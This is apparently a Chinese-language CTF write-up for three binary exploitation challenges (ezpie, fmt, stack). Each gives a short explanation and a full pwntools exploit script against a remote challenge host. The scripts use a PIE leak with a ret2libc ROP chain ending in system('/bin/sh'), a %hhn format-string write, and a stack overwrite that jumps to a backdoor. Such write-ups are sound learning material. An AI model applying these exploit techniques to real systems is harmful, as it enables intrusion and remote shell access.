ezpie func函数地址被放入栈中,用fmt漏洞读出地址,然后算真实地址,泄露puts,匹配这个版本libc6_2.31-0ubuntu9.10_amd64的libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *from LibcSearcher import *context(arch="amd64" ,os="linux" ,log_level="debug" ) p=remote("43.249.195.138" ,22453 ) elf=ELF("/home/feichai/ctf_file/ezpie" ) p.send(b'a' *(0x30 -9 ) + b'b' ) p.recvuntil(b'ab' ) func_addr_t = u64(p.recv(6 )+b'\x00\x00' ) info("func_addr:%#x" , func_addr_t) offset = b'a' *(0x50 + 8 ) pop_rdi = 0x1333 puts_got = elf.got.puts puts_plt = elf.plt.puts func_addr = elf.sym.func ret_addr = 0x101a pieBase = func_addr_t - func_addr pop_rdi_t = pop_rdi + pieBase puts_got_t = puts_got + pieBase puts_plt_t = puts_plt + pieBase ret_addr_t = ret_addr + pieBase pad = offset + p64(pop_rdi_t) + p64(puts_got_t) + p64(puts_plt_t) + p64(func_addr_t) p.sendlineafter(b"please enter your information-> " ,pad) puts_addr= u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' )) info("puts_addr:%#x" , puts_addr) libc= LibcSearcher('puts' , puts_addr) libc_base = puts_addr - libc.dump('puts' ) libc_system = libc_base + libc.dump('system' ) bin_sh_addr = libc_base + libc.dump('str_bin_sh' ) pad2 = offset + p64(ret_addr_t) + p64(pop_rdi_t) + p64(bin_sh_addr) + p64(libc_system) p.sendlineafter(b"please enter your information-> " ,pad2) p.interactive()
fmt v1和v2地址被放进栈里面,调试发现其为第8和第9个参数,把他们的值改成18和52就行了
1 2 3 4 5 6 7 8 9 from pwn import *context(arch="amd64" ,os="linux" ,log_level="debug" ) p=remote("43.249.195.138" ,21001 ) p.recvuntil(b"> " ) p.send(b"%18c%8$hhn%34c%9$hhn" ) p.interactive()
stack 溢出字节为0x20,返回地址为第41个字节,利用for循环内的指针,输入28个字节后到达 i 的值,将 i 的值改成 0x27 ,也就是39,但s[39] 是第40个字节,循环后自动+1,所以下一个字节修改的是第41个字节,将第41和第42个字节替换为backdoor的地址,第43个字节一样就不用替换,然后就能返回backdoor
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *context(arch="amd64" ,os="linux" ,log_level="debug" ) p=remote("43.249.195.138" ,22959 ) backdoor = 0x4012ee p.recvuntil(b"size: " ) p.sendline(b'42' ) p.recvuntil(b"> " ) for i in range (28 ): p.send(b'a' ) sleep(0.1 ) p.send(b"\x27" ) sleep(0.2 ) p.send(b'\xee' ) sleep(0.2 ) p.send(b'\x12' ) sleep(0.2 ) p.interactive()